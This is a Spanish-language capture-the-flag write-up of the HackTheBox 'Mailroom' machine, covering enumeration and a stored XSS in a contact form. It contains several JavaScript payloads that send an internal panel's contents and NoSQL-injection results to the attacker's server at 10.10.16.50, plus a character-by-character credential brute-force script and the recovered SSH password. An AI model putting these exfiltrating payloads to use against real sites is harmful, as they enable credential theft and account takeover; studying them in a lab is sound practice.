Mailroom

nmap

```
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.209
sudo: unable to resolve host kali: Name or service not known
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-14 21:05 CEST
Initiating SYN Stealth Scan at 21:05
Scanning 10.10.11.209 [65535 ports]
Discovered open port 22/tcp on 10.10.11.209
Discovered open port 80/tcp on 10.10.11.209
Completed SYN Stealth Scan at 21:05, 12.63s elapsed (65535 total ports)
Nmap scan report for 10.10.11.209
Host is up, received user-set (0.066s latency).
Scanned at 2023-06-14 21:05:12 CEST for 13s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 62

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 12.73 seconds
           Raw packets sent: 65586 (2.886MB) | Rcvd: 65586 (2.623MB)

Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-14 21:06 CEST
Nmap scan report for 10.10.11.209
Host is up (0.053s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 94bb2ffcaeb9b182afd789811aa76ce5 (RSA)
|   256 821beb758b9630cf946e7957d9ddeca7 (ECDSA)
|_  256 19fb45feb9e4275de5bbf35497dd68cf (ED25519)
80/tcp open  http    Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: The Mail Room
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.89 seconds
```

/etc/hosts

```
vim /etc/hosts
10.10.11.209 mailroom.htb
```

En la web hay un formulario de contacto en la ruta /contact.php que es vulnerable a XSS, pero de momento no podemos hacer nada, así que seguimos enumerando.
Realizamos un escaneo de los directorios de la web intentando encontrar alguna ruta interesante, pero no podremos acceder a la gran mayoría.

```
dirsearch -u http://mailroom.htb -t 200

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 200 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/mailroom.htb/_23-06-14_21-09-32.txt

Error Log: /root/.dirsearch/logs/errors-23-06-14_21-09-32.log

Target: http://mailroom.htb/

[21:09:32] Starting:
[                    ] 1%     183/10927        130/s        job:1/1  errors:0^[
[21:09:36] 403 -  277B  - /.ht_wsr.txt
[21:09:36] 403 -  277B  - /.htaccess.bak1
[21:09:36] 403 -  277B  - /.htaccess.save
[21:09:36] 403 -  277B  - /.htaccess.sample
[21:09:36] 403 -  277B  - /.htaccess.orig
[21:09:36] 403 -  277B  - /.htaccess_extra
[21:09:36] 403 -  277B  - /.htaccess_orig
[21:09:36] 403 -  277B  - /.htaccess_sc
[21:09:36] 403 -  277B  - /.htaccessBAK
[21:09:36] 403 -  277B  - /.htaccessOLD2
[21:09:36] 403 -  277B  - /.htaccessOLD
[21:09:36] 403 -  277B  - /.htm
[21:09:36] 403 -  277B  - /.html
[21:09:36] 403 -  277B  - /.htpasswd_test
[21:09:36] 403 -  277B  - /.htpasswds
[21:09:36] 403 -  277B  - /.httr-oauth
[21:09:38] 301 -  309B  - /js  ->  http://mailroom.htb/js/
[21:09:40] 200 -    0B  - /README.md
[21:09:42] 200 -    7KB - /about.php
[21:09:48] 301 -  313B  - /assets  ->  http://mailroom.htb/assets/
[21:09:48] 403 -  277B  - /assets/
[21:09:51] 200 -    4KB - /contact.php
[21:09:52] 301 -  310B  - /css  ->  http://mailroom.htb/css/
[21:09:57] 200 -    8KB - /index.php
[21:09:57] 200 -    8KB - /index.php/login/
[21:09:57] 301 -  317B  - /javascript  ->  http://mailroom.htb/javascript/
[21:09:57] 403 -  277B  - /js/
[21:10:06] 403 -  277B  - /server-status/
[21:10:06] 403 -  277B  - /server-status
[21:10:09] 403 -  277B  - /template/
[21:10:09] 403 -  277B  - /template

Task Completed
```

Mediante *ffuf* enumeramos subdominios de la máquina.

Encontramos que hay un subdominio *git* así que lo añadimos al /etc/hosts.
Si visitamos el subdominio encontraremos que se trata de Gitea.

```
dirsearch -u http://git.mailroom.htb -t 200 -x 500
```

dirsearch

dirsearch -u http://git.mailroom.htb -t 200 -x 500

```
  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 200 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/git.mailroom.htb/_23-06-14_21-15-46.txt

Error Log: /root/.dirsearch/logs/errors-23-06-14_21-15-46.log

Target: http://git.mailroom.htb/

[21:15:46] Starting:
[21:16:09] 200 -    1KB - /.well-known/openid-configuration
[21:16:41] 303 -   38B  - /admin  ->  /user/login
[21:16:44] 303 -   38B  - /admin/?/login  ->  /user/login
[21:16:44] 303 -   38B  - /admin/  ->  /user/login
[21:17:09] 200 -   15KB - /administrator/
[21:17:09] 200 -   15KB - /administrator
[21:17:13] 200 -  768B  - /api/swagger
[21:17:47] 303 -   41B  - /explore  ->  /explore/repos
[21:17:48] 301 -   58B  - /favicon.ico  ->  /assets/img/favicon.png
[21:17:51] 200 -   14KB - /explore/repos
[21:18:03] 303 -   38B  - /issues  ->  /user/login
[21:18:50] 403 -  281B  - /server-status/
[21:18:50] 403 -  281B  - /server-status
[21:18:58] 200 -  267B  - /sitemap.xml
[21:19:12] 200 -    9KB - /user/login/
[21:19:13] 401 -   50B  - /v2
[21:19:13] 401 -   50B  - /v2/
[21:19:16] 401 -   50B  - /v2/_catalog

Task Completed
```

Primer Directorio

Si visitamos el primer directorio podremos ver si hay algún repositorio del usuario administrador, pero no será el caso, podemos intuir que si conocemos algún usuario podremos ver algún repositorio sin necesidad de saber alguna contraseña. Si volvemos a la web principal en la ruta /about.php encontraremos 4 posibles usuarios, así que lo que podemos hacer es probar si tienen algún repositorio.

This XML file does not appear to have any style information associated with it. The document tree is shown below.

```
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
<url>
<loc>http://git.mailroom.htb/administrator</loc>
<lastmod>2023-01-12T10:37:30Z</lastmod>

</url>

<url>
<loc>http://git.mailroom.htb/matthew</loc>
<lastmod>2023-01-12T10:55:22Z</lastmod>

</url>

<url>
<loc>http://git.mailroom.htb/tristan</loc>
<lastmod>2023-01-12T10:57:44Z</lastmod>

</url>


</urlset>
```

burpsuite

```
POST /contact.php HTTP/1.1
Host: mailroom.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
Origin: http://mailroom.htb
Connection: close
Referer: http://mailroom.htb/contact.php
Upgrade-Insecure-Requests: 1

email=test%40test&title=test&message=test
```

Realizamos una petición al subdominio *staff-review-panel.mailroom.htb* para que nos envíe el contenido de la web en base64.

```
<script>var url = "http://staff-review-panel.mailroom.htb/index.php"; var attacker = "http://10.10.16.50/exfil"; var xhr  = new XMLHttpRequest(); xhr.onreadystatechange = function() {     if (xhr.readyState == XMLHttpRequest.DONE) {         fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))     } } xhr.open('GET', url, true); xhr.send(null);</script>
```

```
%3Cscript%3Evar%20url%20%3D%20%22http%3A%2F%2Fstaff-review-panel.mailroom.htb%2Findex.php%22%3B%0Avar%20attacker%20%3D%20%22http%3A%2F%2F10.10.14.96%2Fexfil%22%3B%0Avar%20xhr%20%20%3D%20new%20XMLHttpRequest%28%29%3B%0Axhr.onreadystatechange%20%3D%20function%28%29%20%7B%0A%20%20%20%20if%20%28xhr.readyState%20%3D%3D%20XMLHttpRequest.DONE%29%20%7B%0A%20%20%20%20%20%20%20%20fetch%28attacker%20%2B%20%22%3F%22%20%2B%20encodeURI%28btoa%28xhr.responseText%29%29%29%0A%20%20%20%20%7D%0A%7D%0Axhr.open%28%27GET%27%2C%20url%2C%20true%29%3B%0Axhr.send%28null%29%3B%3C%2Fscript%3E
```

```
sudo python3 -m http.server 80
```

mail

```
// Send an email to the user with the 2FA token
$to = $user['email'];
$subject = '2FA Token';
$message = 'Click on this link to authenticate: http://staff-review-panel.mailroom.htb/auth.php?token=' . $token;
mail($to, $subject, $message);
```

Abrimos el *Burpsuite* e interceptamos una petición del formulario de la web principal.

Realizamos una petición al subdominio *staff-review-panel.mailroom.htb* para que nos envíe el contenido de la web en base64.
#Importante darle a ver mail para ejecutar el XXS
http://mailroom.htb/inquiries/356709ead17a0e397be96e9078f7fc29.html

```
<script>var url = "http://staff-review-panel.mailroom.htb/index.php";
var attacker = "http://10.10.16.50/exfil";
var xhr  = new XMLHttpRequest();
xhr.onreadystatechange = function() {
    if (xhr.readyState == XMLHttpRequest.DONE) {
        fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
    }
}
xhr.open('GET', url, true);
xhr.send(null);</script>
```

```
sudo python3 -m http.server 80
```

```
10.10.11.209 - - [20/Jun/2023 19:13:21] "GET /exfil?
CjwhRE9DVFlQRSBodG1sPgo8aHRtbCBsYW5nPSJlbiI+Cgo8aGVhZD4KICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCIgLz4KICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIHNocmluay10by1maXQ9bm8iIC8+CiAgPG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IiIgLz4KICA8bWV0YSBuYW1lPSJhdXRob3IiIGNvbnRlbnQ9IiIgLz4KICA8dGl0bGU+SW5xdWlyeSBSZXZpZXcgUGFuZWw8L3RpdGxlPgogIDwhLS0gRmF2aWNvbi0tPgogIDxsaW5rIHJlbD0iaWNvbiIgdHlwZT0iaW1hZ2UveC1pY29uIiBocmVmPSJhc3NldHMvZmF2aWNvbi5pY28iIC8+CiAgPCEtLSBCb290c3RyYXAgaWNvbnMtLT4KICA8bGluayBocmVmPSJmb250L2Jvb3RzdHJhcC1pY29ucy5jc3MiIHJlbD0ic3R5bGVzaGVldCIgLz4KICA8IS0tIENvcmUgdGhlbWUgQ1NTIChpbmNsdWRlcyBCb290c3RyYXApLS0+CiAgPGxpbmsgaHJlZj0iY3NzL3N0eWxlcy5jc3MiIHJlbD0ic3R5bGVzaGVldCIgLz4KPC9oZWFkPgoKPGJvZHk+CiAgPGRpdiBjbGFzcz0id3JhcHBlciBmYWRlSW5Eb3duIj4KICAgIDxkaXYgaWQ9ImZvcm1Db250ZW50Ij4KCiAgICAgIDwhLS0gTG9naW4gRm9ybSAtLT4KICAgICAgPGZvcm0gaWQ9J2xvZ2luLWZvcm0nIG1ldGhvZD0iUE9TVCI+CiAgICAgICAgPGgyPlBhbmVsIExvZ2luPC9oMj4KICAgICAgICA8aW5wdXQgcmVxdWlyZWQgdHlwZT0idGV4dCIgaWQ9ImVtYWlsIiBjbGFzcz0iZmFkZUluIHNlY29uZCIgbmFtZT0iZW1haWwiIHBsYWNlaG9sZGVyPSJFbWFpbCI+CiAgICAgICAgPGlucHV0IHJlcXVpcmVkIHR5cGU9InBhc3N3b3JkIiBpZD0icGFzc3dvcmQiIGNsYXNzPSJmYWRlSW4gdGhpcmQiIG5hbWU9InBhc3N3b3JkIiBwbGFjZWhvbGRlcj0iUGFzc3dvcmQiPgogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJmYWRlSW4gZm91cnRoIiB2YWx1ZT0iTG9nIEluIj4KICAgICAgICA8cCBoaWRkZW4gaWQ9Im1lc3NhZ2UiIHN0eWxlPSJjb2xvcjogIzhGOEY4RiI+T25seSBzaG93IHRoaXMgbGluZSBpZiByZXNwb25zZSAtIGVkaXQgY29kZTwvcD4KICAgICAgPC9mb3JtPgoKICAgICAgPCEtLSBSZW1pbmQgUGFzc293cmQgLS0+CiAgICAgIDxkaXYgaWQ9ImZvcm1Gb290ZXIiPgogICAgICAgIDxhIGNsYXNzPSJ1bmRlcmxpbmVIb3ZlciIgaHJlZj0icmVnaXN0ZXIuaHRtbCI+Q3JlYXRlIGFuIGFjY291bnQ8L2E+CiAgICAgIDwvZGl2PgoKICAgIDwvZGl2PgogIDwvZGl2PgoKICA8IS0tIEJvb3RzdHJhcCBjb3JlIEpTLS0+CiAgPHNjcmlwdCBzcmM9ImpzL2Jvb3RzdHJhcC5idW5kbGUubWluLmpzIj48L3NjcmlwdD4KCiAgPCEtLSBMb2dpbiBGb3JtLS0+CiAgPHNjcmlwdD4KICAgIC8vIEdldCB0aGUgZm9ybSBlbGVtZW50CiAgICBjb25zdCBmb3JtID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2xvZ2luLWZvcm0nKTsKCiAgICAvLyBBZGQgYSBzdWJtaXQgZXZlbnQgbGlzdGVuZXIgdG8gdGhlIGZvcm0KICAgIGZvcm0uYWRkRXZlbnRMaXN0ZW5lcignc3VibWl0JywgZXZlbnQgPT4gewogICAgICAvLyBQcmV2ZW50IHRoZSBkZWZhdWx0IGZvcm0gc3VibWlzc2lvbgogICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOwoKICAgICAgLy8gU2VuZCBhIFBPU1QgcmVxdWVzdCB0byB0aGUgbG9naW4ucGhwIHNjcmlwdAogICAgICBmZXRjaCgnL2F1dGgucGhwJywgewogICAgICAgIG1ldGhvZDogJ1BPU1QnLAogICAgICAgIGJvZHk6IG5ldyBVUkxTZWFyY2hQYXJhbXMobmV3IEZvcm1EYXRhKGZvcm0pKSwKICAgICAgICBoZWFkZXJzOiB7ICdDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJyB9CiAgICAgIH0pLnRoZW4ocmVzcG9uc2UgPT4gewogICAgICAgIHJldHVybiByZXNwb25zZS5qc29uKCk7CgogICAgICB9KS50aGVuKGRhdGEgPT4gewogICAgICAgIC8vIERpc3BsYXkgdGhlIG5hbWUgYW5kIG1lc3NhZ2UgaW4gdGhlIHBhZ2UKICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbWVzc2FnZScpLnRleHRDb250ZW50ID0gZGF0YS5tZXNzYWdlOwogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdwYXNzd29yZCcpLnZhbHVlID0gJyc7CiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ21lc3NhZ2UnKS5yZW1vdmVBdHRyaWJ1dGUoImhpZGRlbiIpOwogICAgICB9KS5jYXRjaChlcnJvciA9PiB7CiAgICAgICAgLy8gRGlzcGxheSBhbiBlcnJvciBtZXNzYWdlCiAgICAgICAgLy9hbGVydCgnRXJyb3I6ICcgKyBlcnJvcik7CiAgICAgIH0pOwogICAgfSk7CiAgPC9zY3JpcHQ+CjwvYm9keT4KPC9odG1sPg== HTTP/1.1"
404 -
```

Este sería el contenido del index.php del subdominio *staff-review-panel.mailroom.htb*.

```
<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="utf-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
  <meta name="description" content="" />
  <meta name="author" content="" />
  <title>Inquiry Review Panel</title>
  <!-- Favicon-->
  <link rel="icon" type="image/x-icon" href="assets/favicon.ico" />
  <!-- Bootstrap icons-->
  <link href="font/bootstrap-icons.css" rel="stylesheet" />
  <!-- Core theme CSS (includes Bootstrap)-->
  <link href="css/styles.css" rel="stylesheet" />
```

```
</head>

<body>
  <div class="wrapper fadeInDown">
    <div id="formContent">

      <!-- Login Form -->
      <form id='login-form' method="POST">
        <h2>Panel Login</h2>
        <input required type="text" id="email" class="fadeIn second" name="email" placeholder="Email">
        <input required type="password" id="password" class="fadeIn third" name="password" placeholder="Password">
        <input type="submit" class="fadeIn fourth" value="Log In">
        <p hidden id="message" style="color: #8F8F8F">Only show this line if response - edit code</p>
      </form>

      <!-- Remind Passowrd -->
      <div id="formFooter">
        <a class="underlineHover" href="register.html">Create an account</a>
      </div>

    </div>
  </div>

  <!-- Bootstrap core JS-->
  <script src="js/bootstrap.bundle.min.js"></script>

  <!-- Login Form-->
  <script>
    // Get the form element
    const form = document.getElementById('login-form');

    // Add a submit event listener to the form
    form.addEventListener('submit', event => {
      // Prevent the default form submission
      event.preventDefault();

      // Send a POST request to the login.php script
      fetch('/auth.php', {
        method: 'POST',
        body: new URLSearchParams(new FormData(form)),
        headers: { 'Content-Type': 'application/x-www-form-urlencoded' }
      }).then(response => {
        return response.json();

      }).then(data => {
        // Display the name and message in the page
        document.getElementById('message').textContent = data.message;
        document.getElementById('password').value = '';
        document.getElementById('message').removeAttribute("hidden");
      }).catch(error => {
        // Display an error message
        //alert('Error: ' + error);
      });
    });
  </script>
</body>
</html>
```

intrusión

sudo python3 -m http.server 80

Ahora con *Burpsuite* interceptamos una petición del directorio /contact.php y en el título añadimos el siguiente script URL encodeando todos los caracteres.

powned.js

```
var http = new XMLHttpRequest();
http.open('POST', "http://staff-review-panel.mailroom.htb/auth.php", true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.onload = function() {
  fetch("http://10.10.16.50/out?" + encodeURI(btoa(this.responseText)));
};

http.send("email[$ne]=1&password[$ne]=admin");
```

El script escrito en JavaScript, lo que hace es enviar una petición por POST a la ruta /auth.php intentando realizar un NO-SQLI y enviando la información en base64 hacia nuestro servidor.

```
<script href=http://10.10.16.50/powned.js></script>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~request
POST /contact.php HTTP/1.1

Host: mailroom.htb

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 89

Origin: http://mailroom.htb

Connection: close

Referer: http://mailroom.htb/contact.php

Upgrade-Insecure-Requests: 1



email=test%40test&title=test&message=<script src="http://10.10.16.50/powned.js"></script>

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~response
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.209 - - [20/Jun/2023 19:49:44] "GET /powned.js HTTP/1.1" 200 -
10.10.11.209 - - [20/Jun/2023 19:49:57] "GET /powned.js HTTP/1.1" 200 -
10.10.11.209 - - [20/Jun/2023 19:49:57] code 404, message File not found
10.10.11.209 - - [20/Jun/2023 19:49:57] "GET /out?
eyJzdWNjZXNzIjpmYWxzZSwibWVzc2FnZSI6IkludmFsaWQgaW5wdXQgZGV0ZWN0ZWQifXsic3VjY2VzcyI6dHJ1ZSwibWVzc2FnZSI6IkNoZWNrIHlvdXIgaW5ib3ggZm9yIGFuIGVtYWlsIHdpdGggeW91ciAyRkEgdG9rZW4ifQ== HTTP/1.1" 404 -
```

Después de algunos intentos recibimos los datos de dicha petición, por la respuesta intuimos que es vulnerable a NO-SQLI.

```
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~terminal
echo
"eyJzdWNjZXNzIjpmYWxzZSwibWVzc2FnZSI6IkludmFsaWQgaW5wdXQgZGV0ZWN0ZWQifXsic3VjY2VzcyI6dHJ1ZSwibWVzc2FnZSI6IkNoZWNrIHlvdXIgaW5ib3ggZm9yIGFuIGVtYWlsIHdpdGggeW91ciAyRkEgdG9rZW4ifQ==" | base64 -d
{"success":false,"message":"Invalid input detected"}{"success":true,"message":"Check your inbox for an email with your 2FA
token"}
```

Probamos a hacer lo mismo, pero esta vez tramitando la peticiĆ³n con la etiqueta de "script" que apunte a nuestro script.

users

script.js

```
async function callAuth(mail) {
    var content = await fetch("http://staff-review-panel.mailroom.htb/auth.php", {
        "headers": {
            "content-type": "application/x-www-form-urlencoded"
        },
        "body": "email[$regex]=.*" + mail + "@mailroom.htb&password[$ne]=abc",
        "method": "POST"
    }).then(function (res) {
        return res.text();
    });
    return { d: mail, c: /"success":true/.test(content) }
}
function notify(pass) {
    fetch("http://10.10.16.50/out?"+pass, {});
}
var chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%'()+, -/:;<=>@[\]_`{}~";
function cal(chars, mail) {
    for (var i = 0; i < chars.length; i++) {
        callAuth(chars[i]+mail).then(function (item) {
            if (item.c) {
                notify(item.d);
                cal("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%'()+, -/:;<=>@[\]_`{}
~", item.d);
            }
        });
    }
}
cal(chars, "");
```

Este es el script en JavaScript que utilizaremos para descubrir el nombre de usuario mediante el NO-SQL

```
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~request
email=test%40test&title=test&message=<script src="http://10.10.16.50/userpownd.js"></script>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~response
0.10.11.209 - - [20/Jun/2023 19:56:47] code 404, message File not found
10.10.11.209 - - [20/Jun/2023 19:56:47] "GET /out?n HTTP/1.1" 404 -
10.10.11.209 - - [20/Jun/2023 19:56:47] code 404, message File not found
10.10.11.209 - - [20/Jun/2023 19:56:47] "GET /out?an HTTP/1.1" 404 -
10.10.11.209 - - [20/Jun/2023 19:56:48] code 404, message File not found
10.10.11.209 - - [20/Jun/2023 19:56:48] "GET /out?tan HTTP/1.1" 404 -
10.10.11.209 - - [20/Jun/2023 19:56:54] "GET /powned2.js HTTP/1.1" 200 -
10.10.11.209 - - [20/Jun/2023 19:56:56] code 404, message File not found
10.10.11.209 - - [20/Jun/2023 19:56:56] "GET /out?n HTTP/1.1" 404 -
10.10.11.209 - - [20/Jun/2023 19:56:58] code 404, message File not found
10.10.11.209 - - [20/Jun/2023 19:56:58] "GET /out?an HTTP/1.1" 404 -
10.10.11.209 - - [20/Jun/2023 19:57:32] "GET /powned2.js HTTP/1.1" 200 -
10.10.11.209 - - [20/Jun/2023 19:57:41] "GET /powned2.js HTTP/1.1" 200 -
```

Volvemos a hacer lo mismo pero con la contraseña.

```
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~request
email=test%40test&title=test&message=<script src="http://10.10.16.50/passpwnd.js"></script>

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~repat this request
30times
GET /inquiries/1bed1a2cee0d4f1d9181602053a06034.html HTTP/1.1

Host: mailroom.htb

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Referer: http://mailroom.htb/contact.php

Upgrade-Insecure-Requests: 1
```

```
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~response
10.10.11.209 - - [25/Apr/2023 16:20:32] "GET /passpwned.js HTTP/1.1" 200 -
10.10.11.209 - - [25/Apr/2023 16:20:44] "GET /passpwned.js HTTP/1.1" 200 -
10.10.11.209 - - [25/Apr/2023 16:20:45] code 404, message File not found
10.10.11.209 - - [25/Apr/2023 16:20:45] "GET /out?6 HTTP/1.1" 404 -
10.10.11.209 - - [25/Apr/2023 16:21:18] "GET /passpwned.js HTTP/1.1" 200 -
10.10.11.209 - - [25/Apr/2023 16:21:18] code 404, message File not found
10.10.11.209 - - [25/Apr/2023 16:21:18] "GET /out?69 HTTP/1.1" 404 -
10.10.11.209 - - [25/Apr/2023 16:21:45] "GET /passpwned.js HTTP/1.1" 200 -
10.10.11.209 - - [25/Apr/2023 16:22:04] "GET /passpwned.js HTTP/1.1" 200 -
10.10.11.209 - - [25/Apr/2023 16:22:05] code 404, message File not found
10.10.11.209 - - [25/Apr/2023 16:22:05] "GET /out?69t HTTP/1.1" 404 -
10.10.11.209 - - [25/Apr/2023 16:22:37] "GET /passpwned.js HTTP/1.1" 200 -
10.10.11.209 - - [25/Apr/2023 16:22:38] code 404, message File not found
10.10.11.209 - - [25/Apr/2023 16:22:38] "GET /out?69tr HTTP/1.1" 404 -
10.10.11.209 - - [25/Apr/2023 16:22:55] "GET /passpwned.js HTTP/1.1" 200 -
10.10.11.209 - - [25/Apr/2023 16:23:07] "GET /passpwned.js HTTP/1.1" 200 -
10.10.11.209 - - [25/Apr/2023 16:23:08] code 404, message File not found
10.10.11.209 - - [25/Apr/2023 16:23:08] "GET /out?69tri HTTP/1.1" 404 -
10.10.11.209 - - [25/Apr/2023 16:23:28] "GET /passpwned.js HTTP/1.1" 200 -
10.10.11.209 - - [25/Apr/2023 16:23:29] code 404, message File not found
10.10.11.209 - - [25/Apr/2023 16:23:29] "GET /out?69tris HTTP/1.1" 404 -
10.10.11.209 - - [25/Apr/2023 16:23:41] "GET /passpwned.js HTTP/1.1" 200 -
10.10.11.209 - - [25/Apr/2023 16:23:42] code 404, message File not found
10.10.11.209 - - [25/Apr/2023 16:23:42] "GET /out?69trisR HTTP/1.1" 404 -
10.10.11.209 - - [25/Apr/2023 16:24:23] "GET /passpwned.js HTTP/1.1" 200 -
10.10.11.209 - - [25/Apr/2023 16:24:35] "GET /passpwned.js HTTP/1.1" 200 -
10.10.11.209 - - [25/Apr/2023 16:24:36] code 404, message File not found
10.10.11.209 - - [25/Apr/2023 16:24:36] "GET /out?69trisRu HTTP/1.1" 404 -
10.10.11.209 - - [25/Apr/2023 16:24:52] "GET /passpwned.js HTTP/1.1" 200 -
10.10.11.209 - - [25/Apr/2023 16:24:53] code 404, message File not found
10.10.11.209 - - [25/Apr/2023 16:24:53] "GET /out?69trisRul HTTP/1.1" 404 -
10.10.11.209 - - [25/Apr/2023 16:25:08] "GET /passpwned.js HTTP/1.1" 200 -
10.10.11.209 - - [25/Apr/2023 16:25:09] code 404, message File not found
10.10.11.209 - - [25/Apr/2023 16:25:09] "GET /out?69trisRule HTTP/1.1" 404 -
10.10.11.209 - - [25/Apr/2023 16:25:22] "GET /passpwned.js HTTP/1.1" 200 -
10.10.11.209 - - [25/Apr/2023 16:25:24] code 404, message File not found
10.10.11.209 - - [25/Apr/2023 16:25:24] "GET /out?69trisRulez HTTP/1.1" 404 -
10.10.11.209 - - [25/Apr/2023 16:25:37] "GET /passpwned.js HTTP/1.1" 200 -
10.10.11.209 - - [25/Apr/2023 16:25:46] "GET /passpwned.js HTTP/1.1" 200 -
10.10.11.209 - - [25/Apr/2023 16:25:48] code 404, message File not found
10.10.11.209 - - [25/Apr/2023 16:25:48] "GET /out?69trisRulez! HTTP/1.1" 404 -
```

Despues de muchos envios obtenemos la contraseĆ±a.

```
#Go creed´s
username → tristan
passwd → 69trisRulez!

ssh tristan@10.10.11.209
```

priv_escalation

Realizamos un *Port Forwarding* para poder acceder al panel del subdominio.

Añadimos el nombre de dominio y subdominios a nuestra IP local.

```
cat /etc/hosts
127.0.0.1 mailroom.htb git.mailroom.htb staff-review-panel.mailroom.htb
```

http://staff-review-panel.mailroom.htb:8080/index.php